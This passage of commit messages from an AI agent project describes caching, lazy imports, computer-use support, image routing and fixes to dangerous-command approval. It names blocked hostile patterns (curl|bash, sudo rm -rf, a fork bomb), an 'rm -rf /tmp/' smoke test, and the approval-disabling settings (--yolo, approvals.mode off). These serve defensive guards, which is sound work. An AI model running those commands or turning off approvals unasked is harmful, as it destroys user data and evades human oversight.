- Original HARDLINE_PATTERNS and DANGEROUS_PATTERNS lists kept as-is
(other code in the file uses them for key derivation /
_PATTERN_KEY_ALIASES).
Verified:
- 160/161 tests/tools/test_approval*.py pass (1 pre-existing heartbeat
test flake on main).
- 349/349 tests/tools/ 'approval or terminal or dangerous' pass.
- Live hermes chat smoke: 3 benign terminal commands + 1 rm -rf /tmp/
(clarify prompt fired — approval path still works) + 1 sudo (sudo
password prompt fired — DANGEROUS pattern match still works). 23
log lines in the smoke window, zero errors.
Co-authored-by: teknium1 <teknium@users.noreply.github.com>
Two amplifying optimizations to per-turn overhead in the gateway:
1. get_tool_definitions() memoization (model_tools.py)
Keyed on (frozenset(enabled), frozenset(disabled),
registry._generation, config.yaml mtime+size). Only active when
quiet_mode=True (which is every hot-path caller — gateway,
AIAgent.__init__); quiet_mode=False keeps the existing print side
effects. Cached path returns a shallow-copy list sharing read-only
schema dicts.
Measured: 7.5 ms → 0.01 ms per call (~750× speedup). Gateway
constructs fresh AIAgent per message, so this saves ~7 ms/turn before
any LLM work.
2. check_fn() TTL cache (tools/registry.py)
check_fn callables like check_terminal_requirements probe external
state (Docker daemon, Modal SDK, playwright binary). For a long-lived
process, hitting them on every get_definitions() pass was pure waste
— external state changes on human timescales. 30 s TTL so env-var
flips (hermes tools enable X) propagate within a turn or two without
explicit invalidation.
Measured: first call 7.5ms → 1.6ms (check_fn probes now dominate);
subsequent calls ~0.01ms via the upstream memoization.
Invalidation surface:
- registry._generation bumps on register/deregister/register_toolset_alias,
invalidating the memoized definitions automatically.
- config.yaml mtime in the cache key captures user-visible config edits
affecting dynamic schemas (execute_code mode, discord allowlist).
- invalidate_check_fn_cache() exposed for explicit flushes (e.g. after
hermes tools enable/disable).
- tests/conftest.py autouse fixture clears both caches before every test
so env-var monkeypatches don't see stale results.
Also fixes a regression from PR #17046 that I missed:
- tools/web_tools.py — Firecrawl was removed from module scope by the
lazy import, breaking 8 tests that patch 'tools.web_tools.Firecrawl'.
Applied the same _FirecrawlProxy pattern used in auxiliary_client/
run_agent for OpenAI (module-level proxy that looks like the class
but imports the SDK on first call/isinstance; patch() replaces the
attribute as usual).
Verified:
- 49/49 tests/tools/test_web_tools_config.py pass (was 8 failing on main)
- 68/68 tests/tools/test_homeassistant_tool.py pass (was 1 failing in
the full suite due to check_fn TTL cross-test pollution; fixed by
the autouse fixture)
- 3887/3895 tests/tools/ (8 pre-existing fails: 2 delegate, 1 mcp
dynamic discovery, 5 mcp structured content — all confirmed on main)
- 2973/2976 tests/agent/ + tests/run_agent/ (3 pre-existing fails)
- 868/868 tests/run_agent/ (excluding test_run_agent.py which has
pre-existing suite-level issues)
- Live smoke: 2 turns + /model switch + tool calls, zero errors in
agent.log session window.
Co-authored-by: teknium1 <teknium@users.noreply.github.com>
* perf(startup): lazy-import OpenAI, Anthropic, Firecrawl, account_usage
Four heavy SDK/module imports are now deferred off the hot startup path.
Net savings on cold module imports:
cli 1200 → 958 ms (-242)
run_agent 1220 → 901 ms (-319)
tools.web_tools 711 → 423 ms (-288)
agent.anthropic_adapter 230 → 15 ms (-215)
agent.auxiliary_client 253 → 68 ms (-185)
Four independent changes in one PR since they all use the same pattern
and share the same risk profile (heavy SDK import → lazy proxy or
function-local import):
1. tools/web_tools.py:
'from firecrawl import Firecrawl' moved into _get_firecrawl_client(),
which is only called when backend='firecrawl'. Users on Exa/Tavily/
Parallel pay zero firecrawl cost.
2. cli.py + gateway/run.py:
'from agent.account_usage import ...' moved into the /limits handlers.
account_usage transitively pulls the OpenAI SDK chain; only needed
when the user runs /limits.
3. agent/anthropic_adapter.py:
'try: import anthropic as _anthropic_sdk' replaced with a cached
'_get_anthropic_sdk()' accessor. The three usage sites
(build_anthropic_client, build_anthropic_bedrock_client,
read_claude_code_credentials_from_keychain) now resolve via the
accessor. All pre-existing test patches of
'agent.anthropic_adapter._anthropic_sdk' keep working because the
accessor respects any value already in module globals.
4. agent/auxiliary_client.py AND run_agent.py:
'from openai import OpenAI' replaced with an '_OpenAIProxy()' module-
level object that looks like the OpenAI class but imports the SDK on
first call/isinstance check. This preserves:
- 15+ in-module OpenAI(...) construction sites in auxiliary_client
and the single site in run_agent's _create_openai_client (Python's
function-scope name lookup finds the proxy, forwards the call);
- 'patch("agent.auxiliary_client.OpenAI", ...)' and
'patch("run_agent.OpenAI", ...)' test patterns used by 28+ test
files (patch replaces the module attribute as usual).
Tried two alternatives first:
- 'from openai._client import OpenAI' — doesn't skip openai/__init__.py
(the audit's hypothesis here was wrong).
- Module-level __getattr__ — works for external access but Python
function-scope name resolution skips __getattr__, so in-module
OpenAI(...) calls NameError.
Note: 'openai' still loads on 'import cli' because
cli.py -> neuter_async_httpx_del() -> openai._base_client, and
run_agent.py -> code_execution_tool.py (module-level
build_execute_code_schema) -> _load_config() -> 'from cli import
CLI_CONFIG'. Deferring those is a separate, larger change — out of scope
for this PR. The savings above all come from avoiding the openai/*,
anthropic/*, and firecrawl/* top-level type-tree imports on paths that
don't need them.
Verified:
- 302/302 tests in tests/agent/{test_anthropic_adapter,
test_bedrock_1m_context, test_minimax_provider, test_anthropic_keychain}
pass. Two pre-existing failures on main unchanged.
- 106/106 tests/agent/test_auxiliary_client.py pass (1 pre-existing fail).
- 97/97 tests/run_agent/test_create_openai_client_kwargs_isolation.py,
test_plugin_context_engine_init.py, test_invalid_context_length_warning.py,
test_api_max_retries_config.py,
tests/hermes_cli/test_gemini_provider.py, test_ollama_cloud_provider.py
pass (1 pre-existing fail).
- Live hermes chat smoke: 2 turns + /model switch + tool calls, zero
errors in the 57-line agent.log window.
- Module-level import of run_agent + auxiliary_client + anthropic_adapter
no longer pulls 'anthropic' or 'firecrawl' at all.
* fix(gateway): restore top-level account_usage import for test-patch surface
CI caught two failures in tests/gateway/test_usage_command.py that I
missed locally:
AttributeError: 'module' object at gateway.run has no attribute 'fetch_account_usage'
The test uses monkeypatch.setattr('gateway.run.fetch_account_usage', ...)
to inject a fake account-fetch call. Moving the import inside the
handler deleted that module-level attribute, breaking the patch surface.
Restoring the top-level import in gateway/run.py gives up the ~230 ms
gateway-boot savings from that one lazy, but:
1. the gateway is a long-running daemon — boot cost is paid once per
install, not per turn;
2. the other four lazy-imports (firecrawl, openai, anthropic, cli's
account_usage) remain in place and still account for the bulk of
the savings reported in the PR body;
3. preserving the patch surface keeps the established
'gateway.run.fetch_account_usage' monkeypatch pattern working
without touching tests.
Verified: tests/gateway/test_usage_command.py — 8 passed, 0 failed.
Full targeted sweep (2336 tests across agent/gateway/hermes_cli/run_agent):
2332 passed, 4 failed — all 4 pre-existing on main.
---------
Co-authored-by: teknium1 <teknium@users.noreply.github.com>
Previously, check_browser_requirements() only checked for the agent-browser
CLI, not the Chromium binary it drives. When the CLI was present but
Chromium wasn't (common in Docker images predating the playwright install
step), the browser tool was advertised to the agent, every call hung for
the full command timeout (~30s each, ~220s for a chained navigate), and
the agent eventually gave up with no useful error — users saw 'browser
not working' with empty errors.log.
Changes:
- tools/browser_tool.py: add _chromium_installed() checking
PLAYWRIGHT_BROWSERS_PATH + default Playwright cache paths for
chromium-* / chromium_headless_shell-* dirs; wire into
check_browser_requirements() for local mode (cloud providers
unaffected). _run_browser_command fails fast with an actionable
Docker vs. host message instead of hanging. _running_in_docker()
checks /.dockerenv and /proc/1/cgroup.
- hermes_cli/tools_config.py: post_setup for 'Local Browser' now runs
'agent-browser install --with-deps' after npm install to actually
download Chromium. In Docker, points user at the updated image pull
instead of trying to install into a read-only layer. Cloud-provider
post_setup (browserbase) skips Chromium install entirely.
- tests/tools/test_browser_chromium_check.py: new tests covering
search roots, install detection, requirements branches (local/cloud/
camofox), and the fast-fail guard in docker/non-docker contexts.
- tests/tools/test_browser_homebrew_paths.py: 5 existing subprocess-path
tests now mock _chromium_installed=True since they exercise the
post-guard subprocess path.
Co-authored-by: teknium1 <teknium@users.noreply.github.com>
Mechanical cleanup across 43 files — removes 46 unused imports
(F401) and 14 unused local variables (F841) detected by
`ruff check --select F401,F841`. Net: -49 lines.
Also fixes a latent NameError in rl_cli.py where `get_hermes_home()`
was called at module line 32 before its import at line 65 — the
module never imported successfully on main. The ruff audit surfaced
this because it correctly saw the symbol as imported-but-unused
(the call happened before the import ran); the fix moves the import
to the top of the file alongside other stdlib imports.
One `# noqa: F401` kept in hermes_cli/status.py for `subprocess`:
tests monkeypatch `hermes_cli.status.subprocess` as a regression
guard that systemctl isn't called on Termux, so the name must
exist at module scope even though the module body doesn't reference
it. Docstring explains the reason.
Also fixes an invalid `# noqa:` directive in
gateway/platforms/discord.py:308 that lacked a rule code.
Co-authored-by: teknium1 <teknium@users.noreply.github.com>
delegate_task runs inside the parent turn and is cancelled when the parent is interrupted (new user message, /stop, /new). The child status payload (status=interrupted, exit_reason=interrupted) is already honest, but the tool schema and user-facing docs did not set the expectation, so users reasonably assumed delegated subagents would keep running in the background after interrupting the parent.
Updates:
- tools/delegate_tool.py DELEGATE_TASK_SCHEMA description adds a WHEN NOT TO USE bullet pointing at cronjob / terminal(background=True, notify_on_complete=True) for durable long-running work.
- website/docs/user-guide/features/delegation.md gains a Lifetime and Durability callout above Key Properties.
- website/docs/guides/delegation-patterns.md expands the Use something else list and the Constraints section with the same guidance.
Reported by LizLiz (@lizliz404) via Teknium.
Co-authored-by: teknium1 <teknium@users.noreply.github.com>
Extract the islink/realpath guard from the 16743 fix into a single
atomic_replace() helper in utils.py, then migrate every os.replace()
call site in the codebase to use it.
The original PR #16777 correctly identified and fixed the bug, but
only patched 9 of ~24 call sites. The same bug class (managed
deployments that symlink state files silently losing the link on
every write) still existed at auth.json, sessions file, gateway
config, env_loader, webhook subscriptions, debug store, model
catalog, pairing, google OAuth, nous rate guard, and more.
Rather than add another 10+ copies of the same three-line guard,
consolidate into atomic_replace(tmp, target) which:
- resolves symlinks via os.path.realpath before os.replace
- returns the resolved real path so callers can re-apply permissions
- is a drop-in replacement for os.replace at the use sites
Changes:
- utils.py: new atomic_replace() helper + atomic_json_write /
atomic_yaml_write now call it instead of inlining the guard
- 16 files: all os.replace() call sites migrated to atomic_replace()
- agent/{google_oauth, nous_rate_guard, shell_hooks}.py
- cron/jobs.py
- gateway/{pairing, session, platforms/telegram}.py
- hermes_cli/{auth, config, debug, env_loader, model_catalog, webhook}.py
- tools/{memory_tool, skill_manager_tool, skills_sync}.py
Tests: tests/test_atomic_replace_symlinks.py pins the invariant for
atomic_replace + atomic_json_write + atomic_yaml_write, covers plain
files, first-time creates, broken symlinks, and permission preservation.
Refs #16743
Builds on #16777 by @vominh1919.
os.replace(tmp, path) replaces the symlink itself with a regular file,
breaking users who symlink config.yaml, SOUL.md, or .env from ~/.hermes/
to a dotfiles repo or managed profile package.
Fix: resolve symlinks via os.path.realpath() before os.replace(), so the
real file is overwritten in-place while the symlink survives.
Fixed in 7 files covering all os.replace call sites:
- utils.py (atomic_json_write, atomic_yaml_write — fixes save_config)
- hermes_cli/config.py (env sanitizer, save_env_value, remove_env_value)
- tools/skill_manager_tool.py (_atomic_write_text — SOUL.md writes)
- tools/memory_tool.py (memory file writes)
- tools/skills_sync.py (manifest writes)
- cron/jobs.py (job state + output file writes)
- agent/shell_hooks.py (hook file writes)
FixesNousResearch/hermes-agent#16743
Adds tools.schema_sanitizer.strip_nullable_unions as the single
implementation for collapsing anyOf/oneOf nullable unions. Both the
MCP input-schema normalizer and the Anthropic tool-schema guard now
delegate to it instead of re-implementing the same walk three times.
The global sanitizer also gains a final pass so any tool that slips
past the two earlier hooks (plugin tools, non-MCP custom tools with
Pydantic-shaped schemas) still gets safe input_schemas on Anthropic.
- tools/schema_sanitizer.py:
* New public strip_nullable_unions(schema, keep_nullable_hint=True).
* _sanitize_single_tool() calls it as a final pass (hint preserved
so coerce_tool_args can still map string "null" to None).
- tools/mcp_tool.py: _normalize_mcp_input_schema delegates.
- agent/anthropic_adapter.py: _normalize_tool_input_schema delegates
with keep_nullable_hint=False (Anthropic does not recognize nullable).
No behavioral change for the fix itself; tests (73/73 targeted +
E2E across MCP→sanitizer→Anthropic paths) pass.
Extends the cua-driver computer-use backend to drive backgrounded macOS
windows without stealing keyboard or mouse focus from the foreground app.
All changes target the cua-driver MCP backend and the shared dispatcher.
## cua_backend.py
**Window-aware capture**: capture() now calls list_windows + get_window_state
instead of the removed capture tool. Prefers structuredContent.windows
(MCP 2024-11-05+ cua-driver) for zero-parse window enumeration; falls back
to regex-parsed text for older builds. Stores the selected (pid, window_id)
as sticky context so subsequent action calls do not need a redundant round-trip.
**Action routing**: click/scroll/type_text/key all carry the sticky pid
(and window_id for element-indexed clicks). type_text routes through
type_text_chars (individual key events) rather than AX attribute write --
WebKit AXTextFields reject attribute writes from backgrounded processes.
**Key parsing**: _parse_key_combo splits cmd+s-style strings into
(key, [modifiers]) and routes to hotkey (modifier present) or
press_key (bare key) -- cua-driver actual tool names.
**set_value method**: new set_value(value, element) calls the cua-driver
set_value MCP tool. For AXPopUpButton / HTML select in a backgrounded Safari,
AXPress opens the native macOS popup which closes immediately when the app is
non-frontmost; set_value AX-presses the matching child option directly
(no menu required, no focus steal).
**focus_app**: reimplemented as a pure window-selector (enumerates
list_windows, sets sticky pid/window_id) without ever raising the window
or stealing focus.
**list_apps**: fixed tool name from listApps to list_apps; handles plain-text
response via regex when structured data is absent.
**Structured-content extraction**: _extract_tool_result now surfaces
structuredContent from MCP results, enabling the list_windows window array
without text parsing.
**Helpers**: _parse_windows_from_text, _parse_elements_from_tree,
_split_tree_text, _parse_key_combo extracted as module-level functions.
## schema.py
Added set_value to the action enum with a description explaining when to
prefer it over click (select/popup elements, sliders, no focus steal).
Added value field for set_value payloads.
## tool.py
Routed set_value action through _dispatch to backend.set_value.
Added set_value to _DESTRUCTIVE_ACTIONS (approval-gated).
Fixed MIME-type detection in _capture_response: cua-driver may return
JPEG; detect from base64 magic bytes (/9j/ -> image/jpeg, else image/png)
rather than hardcoding image/png.
## agent/display.py + run_agent.py
Guard _detect_tool_failure and result-preview logic against non-string
function_result values: multimodal tool results (dicts with _multimodal=True)
are not string-sliceable; treat them as successes and fall back to str()
for length/preview.
Background macOS desktop control via cua-driver MCP — does NOT steal the
user's cursor or keyboard focus, works with any tool-capable model.
Replaces the Anthropic-native `computer_20251124` approach from the
abandoned #4562 with a generic OpenAI function-calling schema plus SOM
(set-of-mark) captures so Claude, GPT, Gemini, and open models can all
drive the desktop via numbered element indices.
- `tools/computer_use/` package — swappable ComputerUseBackend ABC +
CuaDriverBackend (stdio MCP client to trycua/cua's cua-driver binary).
- Universal `computer_use` tool with one schema for all providers.
Actions: capture (som/vision/ax), click, double_click, right_click,
middle_click, drag, scroll, type, key, wait, list_apps, focus_app.
- Multimodal tool-result envelope (`_multimodal=True`, OpenAI-style
`content: [text, image_url]` parts) that flows through
handle_function_call into the tool message. Anthropic adapter converts
into native `tool_result` image blocks; OpenAI-compatible providers
get the parts list directly.
- Image eviction in convert_messages_to_anthropic: only the 3 most
recent screenshots carry real image data; older ones become text
placeholders to cap per-turn token cost.
- Context compressor image pruning: old multimodal tool results have
their image parts stripped instead of being skipped.
- Image-aware token estimation: each image counts as a flat 1500 tokens
instead of its base64 char length (~1MB would have registered as
~250K tokens before).
- COMPUTER_USE_GUIDANCE system-prompt block — injected when the toolset
is active.
- Session DB persistence strips base64 from multimodal tool messages.
- Trajectory saver normalises multimodal messages to text-only.
- `hermes tools` post-setup installs cua-driver via the upstream script
and prints permission-grant instructions.
- CLI approval callback wired so destructive computer_use actions go
through the same prompt_toolkit approval dialog as terminal commands.
- Hard safety guards at the tool level: blocked type patterns
(curl|bash, sudo rm -rf, fork bomb), blocked key combos (empty trash,
force delete, lock screen, log out).
- Skill `apple/macos-computer-use/SKILL.md` — universal (model-agnostic)
workflow guide.
- Docs: `user-guide/features/computer-use.md` plus reference catalog
entries.
44 new tests in tests/tools/test_computer_use.py covering schema
shape (universal, not Anthropic-native), dispatch routing, safety
guards, multimodal envelope, Anthropic adapter conversion, screenshot
eviction, context compressor pruning, image-aware token estimation,
run_agent helpers, and universality guarantees.
469/469 pass across tests/tools/test_computer_use.py + the affected
agent/ test suites.
- `model_tools.py` provider-gating: the tool is available to every
provider. Providers without multi-part tool message support will see
text-only tool results (graceful degradation via `text_summary`).
- Anthropic server-side `clear_tool_uses_20250919` — deferred;
client-side eviction + compressor pruning cover the same cost ceiling
without a beta header.
- macOS only. cua-driver uses private SkyLight SPIs
(SLEventPostToPid, SLPSPostEventRecordTo,
_AXObserverAddNotificationAndCheckRemote) that can break on any macOS
update. Pin with HERMES_CUA_DRIVER_VERSION.
- Requires Accessibility + Screen Recording permissions — the post-setup
prints the Settings path.
Supersedes PR #4562 (pyautogui/Quartz foreground backend, Anthropic-
native schema). Credit @0xbyt4 for the original #3816 groundwork whose
context/eviction/token design is preserved here in generic form.
When delegation.provider is configured (e.g. minimax-cn), subagents
inherited the parent's acp_command unconditionally. This caused
run_agent.py to initialize CopilotACPClient, which bypassed the
override credentials entirely and used its own default model
(provider=copilot-acp model=qwen3.5-397b-a17b) instead of the
configured delegation.provider and delegation.model.
Fix: when override_provider is set but override_acp_command is not,
clear effective_acp_command and effective_acp_args so the child agent
uses direct API calls with the configured provider credentials.
The existing override_acp_command path is unchanged — explicit ACP
transport overrides still force provider=copilot-acp as before.
Fixes#16816
* Port from Kilo-Org/kilocode#9448: roll up subagent costs into parent session total
Child subagents built by delegate_task() each track their own
session_estimated_cost_usd, but the parent agent's total never folded
those numbers in. On runs where the parent mostly delegates and the
children do the expensive work, the footer/UI was reporting a fraction
of the actual spend — sometimes $0.00 when the parent itself made no
billed calls.
Fix:
- Capture each child's session_estimated_cost_usd into _child_cost_usd
on the result entry (before child.close() drops the counter).
- After the existing subagent_stop hook loop, sum the children's costs
and add the total to parent.session_estimated_cost_usd.
- Promote session_cost_source from 'none' -> 'subagent' when the parent
had no direct spend but children did, so the UI doesn't label the
total as having unknown provenance. Real sources (openrouter,
anthropic, etc.) are preserved.
Nested orchestrator -> worker trees roll up naturally: each layer's own
delegate_task() folds its direct children in, and when the orchestrator
itself returns, its parent folds the orchestrator's now-inflated total
on top.
Internal fields (_child_cost_usd, _child_role) are stripped from the
results dict before it's serialised back to the model — same contract
as _child_role already followed.
Tests: TestSubagentCostRollup (5 cases) covers single-child, batch,
zero-cost-children, preserved-source, and legacy-fixture paths.
Source: https://github.com/Kilo-Org/kilocode/pull/9448
* fix(web): scope dashboard config Reset button to the current tab
Reported by @ykmfb001 via X: clicking 'Restore Defaults' (恢复默认值) on
the Auxiliary page wiped the entire config.yaml to defaults, not just
the auxiliary section. The button sits next to the category tabs and
users reasonably assumed 'reset this tab', not 'reset everything'.
Changes:
- handleReset now scopes to the fields in the current view:
active category's fields (form mode) or search-matched fields
(search mode). Only those keys are copied from defaults; the rest
of the config is left alone.
- Added a window.confirm() with the scope name before applying.
- Button is hidden in YAML mode (scoping doesn't apply there).
- Tooltip/aria-label now name the scope, e.g. 'Reset Auxiliary to
defaults'.
- i18n: new resetScopeTooltip / confirmResetScope / resetScopeToast
strings in en + zh; resetDefaults key preserved for compat.
Plugins can now observe dangerous-command approval events in real time,
on both the CLI-interactive path and the async gateway path. This is the
missing hook surface external tools need to build approval notifiers
(macOS menu-bar allow/deny, Slack alerts, audit logs, etc.) without
forking Hermes or running a parallel gateway adapter.
Changes:
- hermes_cli/plugins.py: add two entries to VALID_HOOKS
- tools/approval.py: fire both hooks from check_all_command_guards --
around prompt_dangerous_approval (CLI surface) and around the
notify_cb + blocking event.wait loop (gateway surface)
- website/docs/user-guide/features/hooks.md: document both hooks with
a macOS-notification example
- tests/tools/test_approval_plugin_hooks.py: 5 tests covering CLI once,
CLI deny, plugin-crash resilience, gateway approve, gateway timeout
Hooks are observer-only: return values are ignored, so plugins cannot
veto or pre-answer an approval (use pre_tool_call for that). A crashing
plugin cannot break the approval flow -- invoke_hook swallows per-
callback errors, and the wrapper logs and swallows dispatch-layer
errors too.
Surface kwarg distinguishes "cli" from "gateway"; post hook reports
choice as one of once/session/always/deny/timeout.
PR #13734 fixed the concurrent-tool-executor vector (ThreadPoolExecutor
workers didn't inherit the CLI's TLS approval callback). Two vectors
remained that could still land in the deadlocking input() fallback:
1. _spawn_background_review spawns a raw threading.Thread with no
approval callback installed, so any dangerous-command guard the
review agent trips falls back to input() -> deadlock against the
parent's prompt_toolkit TUI (same class as delegate_task subagents,
fixed in 023b1bff1 / #15491). Install a _bg_review_auto_deny
callback at thread start, clear on finally.
2. prompt_dangerous_approval's fallback unconditionally spawned a
daemon thread calling input() when approval_callback was None.
That fallback can never succeed under prompt_toolkit because the
user's Enter goes to pt's raw-mode stdin capture. Detect an active
pt Application via get_app_or_none() and fail closed (deny + log)
instead, so future threads that forget to install a callback
degrade gracefully instead of hanging 60s invisibly.
Regression guards:
- tests/run_agent/test_background_review.py verifies the review
worker thread sees a callable auto-deny callback mid-run and that
the slot is cleared in the finally block.
- tests/tools/test_approval.py TestFailClosedUnderPromptToolkit
verifies prompt_dangerous_approval returns 'deny' fast under a
mocked pt Application, and that a real callback still wins over
the guard.
* feat(image-input): native multimodal routing based on model vision capability
Attach user-sent images as OpenAI-style content parts on the user turn when
the active model supports native vision, so vision-capable models see real
pixels instead of a lossy text description from vision_analyze.
Routing decision (agent/image_routing.py::decide_image_input_mode):
agent.image_input_mode = auto | native | text (default: auto)
In auto mode:
- If auxiliary.vision.provider/model is explicitly configured, keep the
text pipeline (user paid for a dedicated vision backend).
- Else if models.dev reports supports_vision=True for the active
provider/model, attach natively.
- Else fall back to text (current behaviour).
Call sites updated: gateway/run.py (all messaging platforms), tui_gateway
(dashboard/Ink), cli.py (interactive /attach + drag-drop).
run_agent.py changes:
- _prepare_anthropic_messages_for_api now passes image parts through
unchanged when the model supports vision — the Anthropic adapter
translates them to native image blocks. Previous behaviour
(vision_analyze → text) only runs for non-vision Anthropic models.
- New _prepare_messages_for_non_vision_model mirrors the same contract
for chat.completions and codex_responses paths, so non-vision models
on any provider get text-fallback instead of failing at the provider.
- New _model_supports_vision() helper reads models.dev caps.
vision_analyze description rewritten: positions it as a tool for images
NOT already visible in the conversation (URLs, tool output, deeper
inspection). Prevents the model from redundantly calling it on images
already attached natively.
Config default: agent.image_input_mode = auto.
Tests: 35 new (test_image_routing.py + test_vision_aware_preprocessing.py),
all existing tests that reference _prepare_anthropic_messages_for_api
still pass (198 targeted + new tests green).
* feat(image-input): size-cap + resize oversized images, charge image tokens in compressor
Two follow-ups that make the native image routing safer for long / heavy
sessions:
1) Oversize handling in build_native_content_parts:
- 20 MB ceiling per image (matches vision_tools._MAX_BASE64_BYTES,
the most restrictive provider — Gemini inline data).
- Delegates to vision_tools._resize_image_for_vision (Pillow-based,
already battle-tested) to downscale to 5 MB first-try.
- If Pillow is missing or resize still overshoots, the image is
dropped and reported back in skipped[]; caller falls back to text
enrichment for that image.
2) Image-token accounting in context_compressor:
- New _IMAGE_TOKEN_ESTIMATE = 1600 (matches Claude Code's constant;
within the realistic range for Anthropic/GPT-4o/Gemini billing).
- _content_length_for_budget() helper: sums text-part lengths and
charges _IMAGE_CHAR_EQUIVALENT (1600 * 4 chars) per image/image_url/
input_image part. Base64 payload inside image_url is NOT counted
as chars — dimensions don't matter, only image-presence.
- Both tail-cut sites (_prune_old_tool_results L527 and
_find_tail_cut_by_tokens L1126) now call the helper so multi-image
conversations don't slip past compression budget.
Tests: 9 new in test_image_routing.py (oversize triggers resize,
resize-fails-returns-None, oversize-skipped-reported), 11 new in
test_compressor_image_tokens.py (flat charge per image, multiple images,
Responses-API / Anthropic-native / OpenAI-chat shapes, no-inflation on
raw base64, bounds-check on the constant, integration test that an
image-heavy tail actually gets trimmed).
* fix(image-input): replace blanket 20MB ceiling with empirically-verified per-provider limits
The previous commit imposed a hardcoded 20 MB base64 ceiling on all
providers, triggering auto-resize on anything larger. This was wrong in
both directions:
* Too loose for Anthropic — actual limit is 5 MB (returns HTTP 400
'image exceeds 5 MB maximum' above that).
* Too strict for OpenAI / Codex / OpenRouter — accept 49 MB+ without
complaint (empirically verified April 2026 with progressive PNG
sizes).
New behaviour:
* _PROVIDER_BASE64_CEILING table: only anthropic and bedrock have a
ceiling (5 MB, since bedrock-on-Claude shares Anthropic's decoder).
* Providers NOT in the table get no ceiling — images attach at native
size and we trust the provider to return its own error if it
disagrees. A provider-specific 400 message is clearer than us
guessing wrong and silently degrading image quality.
* build_native_content_parts() gains a keyword-only provider arg;
gateway/CLI/TUI pass the active provider so Anthropic users get
auto-resize protection while OpenAI users don't pay it.
* Resize target dropped from 5 MB to 4 MB to slide safely under
Anthropic's boundary with header overhead.
Empirical measurements (direct API, no Hermes in the loop):
image b64 anthropic openrouter/gpt5.5 codex-oauth/gpt5.5
0.19 MB ✓ ✓ ✓
12.37 MB ✗ 400 5MB ✓ ✓
23.85 MB ✗ 400 5MB ✓ ✓
49.46 MB ✗ 413 ✓ ✓
Tests: rewrote TestOversizeHandling (5 tests): no-ceiling pass-through,
Anthropic resize fires, Anthropic skip on resize-fail, build_native_parts
routes ceiling by provider, unknown provider gets no ceiling. All 52
targeted tests pass.
* refactor(image-input): attempt native, shrink-and-retry on provider reject
Replace proactive per-provider size ceilings with a reactive shrink path
on the provider's actual rejection. All providers now attempt native
full-size attachment first; if the provider returns an image-too-large
error, the agent silently shrinks and retries once.
Why the previous design was wrong: hardcoding provider ceilings
(anthropic=5MB, others=unlimited) meant OpenAI users on a 10MB image
paid no tax, but Anthropic users lost quality on anything >5MB even
though the empirical behaviour at provider-reject time is the same
(shrink + retry). Baking the table into the routing layer also
requires updating Hermes every time a provider's limit changes.
Reactive design:
- image_routing.py: _file_to_data_url encodes native size, no ceiling.
build_native_content_parts drops its provider kwarg.
- error_classifier.py: new FailoverReason.image_too_large + pattern
match ("image exceeds", "image too large", etc.) checked BEFORE
context_overflow so Anthropic's 5MB rejection lands in the right
bucket.
- run_agent.py: new _try_shrink_image_parts_in_messages walks api
messages in-place, re-encodes oversized data: URL image parts
through vision_tools._resize_image_for_vision to fit under 4MB,
handles both chat.completions (dict image_url) and Responses
(string image_url) shapes, ignores http URLs (provider-fetched).
New image_shrink_retry_attempted flag in the retry loop fires the
shrink exactly once per turn after credential-pool recovery but
before auth retries.
E2E verified live against Anthropic claude-sonnet-4-6:
- 17.9MB PNG (23.9MB b64) attached at native size
- Anthropic returns 400 "image exceeds 5 MB maximum"
- Agent logs '📐 Image(s) exceeded provider size limit — shrank and
retrying...'
- Retry succeeds, correct response delivered in 6.8s total.
Tests: 12 new (8 shrink-helper shapes + 4 classifier signals),
replaces 5 proactive-ceiling tests with 3 simpler 'native attach works'
tests. 181 targeted tests pass. test_enum_members_exist in
test_error_classifier.py updated for the new enum value.
On macOS (bash 3.2 and some Homebrew bash builds) `source`ing a file that
contains `declare -x` statements prints each declaration to stdout. The
persistent-shell wrapper in tools/environments/base.py was only redirecting
stderr when sourcing the session snapshot, so ~60 lines of env vars leaked
into every terminal tool response — blowing out context and triggering
HTTP 400s on context-limited providers.
Fix: redirect both stdout and stderr when sourcing the snapshot. Linux
bash is silent here, so the redirect is harmless there; macOS no longer
leaks.
Closes#15459
Co-authored-by: Sanjays2402 <51058514+Sanjays2402@users.noreply.github.com>
read_file's dedup path returned a lightweight stub on re-reads of an
unchanged file, then returned early — so the consecutive-read loop
guard (hard block at count>=4) at the bottom of read_file_tool never
ran for stub-looped calls. Weaker tool-following models (local Qwen3.6
variants in the reported case) ignore the passive 'refer to earlier
result' hint and hammer the same read_file call until iteration budget
runs out.
Track per-key stub returns in task_data['dedup_hits'] and, on the
second stub for the same (path, offset, limit), return a hard BLOCKED
error mirroring the wording the real-read path already uses. A real
read, an intervening non-read tool call (notify_other_tool_call), or
reset_file_dedup (on context compression) all clear the counter so
the guard never stays engaged longer than the actual loop.
Closes#15759
Four small tool-description / skill-content tweaks addressing recurring
model mistakes seen in @versun's docx feedback (Kimi 2.6, but the patterns
apply to every model):
1. browser_navigate description: call out .md/.txt/.json/.yaml/.csv/.xml,
raw.githubusercontent.com, and API endpoints as specifically preferring
curl or web_extract. The generic "prefer web_search or web_extract" was
too weak; models kept firing up the browser for plain-text URLs.
2. delegate_task description: two additions.
(a) Pass user language / output-style preferences in 'context' when they
differ from English — otherwise subagents default to English and their
summaries contaminate the final reply (caused the bilingual digest bug).
(b) Subagent summaries are self-reports, not verified facts. For
operations with external side-effects (HTTP uploads, remote writes,
file creation at shared paths), require a verifiable handle (URL, ID,
path) and verify it yourself before claiming success.
3. agent/prompt_builder.py Skills-mandatory block: new explicit line
"Whenever the user asks to configure / set up / modify / install /
enable / disable / troubleshoot Hermes Agent itself, load the
`hermes-agent` skill first." The generic "load what's relevant" didn't
route Hermes-meta questions (like "how do I turn off redaction?") to
the one skill that has the answer.
4. skills/autonomous-ai-agents/hermes-agent/SKILL.md: new "Security &
Privacy Toggles" section covering security.redact_secrets (with the
import-time-snapshot restart-required caveat), privacy.redact_pii,
approvals.mode (manual/smart/off) + --yolo + HERMES_YOLO_MODE, shell
hooks allowlist, and how to disable network/media tools entirely.
Every command verified against the actual config keys — no invented
knobs.
Co-authored-by: teknium1 <teknium@noreply.github.com>
* feat(skills): install skills from a direct HTTP(S) URL
Adds UrlSource adapter so `hermes skills install <url-to-SKILL.md>` and
`/skills install <url>` work as first-class operations — no more
improvising with curl + patch + cp.
- Claims identifiers that start with http(s):// and end in .md
- Skips /.well-known/skills/ URLs (WellKnownSkillSource handles those)
- Skill name from YAML frontmatter, URL-slug fallback
- Single-file SKILL.md only (v1 scope — multi-file skills need a manifest)
- Trust level 'community'; full security scan still runs
- Lock file stores the URL as identifier so `hermes skills update`
re-fetches from the same URL cleanly
Scope matches real user need from @versun's docx feedback where
